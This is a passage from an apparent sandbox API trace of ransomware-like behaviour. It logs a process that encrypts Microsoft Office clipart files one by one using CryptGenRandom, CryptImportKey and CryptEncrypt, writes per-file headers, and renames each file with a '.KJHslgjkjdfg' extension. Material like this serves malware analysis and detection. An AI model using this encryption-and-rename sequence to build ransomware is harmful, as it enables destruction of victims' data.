lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2606, lpOverlapped=0x0) returned 1 [0196.890] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2610, dwBufLen=0x2610 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2610) returned 1 [0196.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.890] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2610, lpOverlapped=0x0) returned 1 [0196.890] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.890] SetEndOfFile (hFile=0x130) returned 1 [0196.893] GetProcessHeap () returned 0x2ef0000 [0196.893] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.893] GetProcessHeap () returned 0x2ef0000 [0196.893] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.kjhslgjkjdfg")) returned 1 [0196.894] CloseHandle (hObject=0x130) returned 1 [0196.894] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0196.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.895] GetProcessHeap () returned 0x2ef0000 [0196.895] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.895] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.895] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.000] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.000] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.000] GetProcessHeap () returned 0x2ef0000 [0197.000] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.000] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.000] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.000] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.001] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.001] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.001] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.001] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.001] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.001] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.001] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x257c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x257c, lpOverlapped=0x0) returned 1 [0197.002] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2580, dwBufLen=0x2580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2580) returned 1 [0197.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.003] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2580, lpOverlapped=0x0) returned 1 [0197.003] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.003] SetEndOfFile (hFile=0x130) returned 1 [0197.006] GetProcessHeap () returned 0x2ef0000 [0197.006] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.006] GetProcessHeap () returned 0x2ef0000 [0197.006] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.kjhslgjkjdfg")) returned 1 [0197.007] CloseHandle (hObject=0x130) returned 1 [0197.007] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0197.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.008] GetProcessHeap () returned 0x2ef0000 [0197.008] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.008] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.008] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.027] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.027] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.027] GetProcessHeap () returned 0x2ef0000 [0197.027] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.027] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.027] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.027] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.027] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.028] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.028] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.028] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4278, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4278, lpOverlapped=0x0) returned 1 [0197.029] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4280, dwBufLen=0x4280 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4280) returned 1 [0197.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.030] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4280, lpOverlapped=0x0) returned 1 [0197.030] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.030] SetEndOfFile (hFile=0x130) returned 1 [0197.032] GetProcessHeap () returned 0x2ef0000 [0197.032] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.032] GetProcessHeap () returned 0x2ef0000 [0197.032] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.kjhslgjkjdfg")) returned 1 [0197.033] CloseHandle (hObject=0x130) returned 1 [0197.034] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0197.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.034] GetProcessHeap () returned 0x2ef0000 [0197.034] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.034] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.034] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0197.037] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.037] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.037] GetProcessHeap () returned 0x2ef0000 [0197.037] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.037] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.037] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.037] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.037] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.037] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.038] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.038] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.038] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.038] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.038] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5516, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5516, lpOverlapped=0x0) returned 1 [0197.039] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5520, dwBufLen=0x5520 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5520) returned 1 [0197.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.040] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5520, lpOverlapped=0x0) returned 1 [0197.040] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x55f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.040] SetEndOfFile (hFile=0x130) returned 1 [0197.043] GetProcessHeap () returned 0x2ef0000 [0197.043] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.043] GetProcessHeap () returned 0x2ef0000 [0197.043] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.kjhslgjkjdfg")) returned 1 [0197.044] CloseHandle (hObject=0x130) returned 1 [0197.045] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0197.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.046] GetProcessHeap () returned 0x2ef0000 [0197.046] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.046] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.046] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0197.049] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.049] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.049] GetProcessHeap () returned 0x2ef0000 [0197.049] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.049] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.049] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.049] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.049] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.049] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.050] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.050] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.050] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.050] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.050] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8a12, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8a12, lpOverlapped=0x0) returned 1 [0197.051] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8a20, dwBufLen=0x8a20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8a20) returned 1 [0197.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.053] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8a20, lpOverlapped=0x0) returned 1 [0197.053] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.053] SetEndOfFile (hFile=0x130) returned 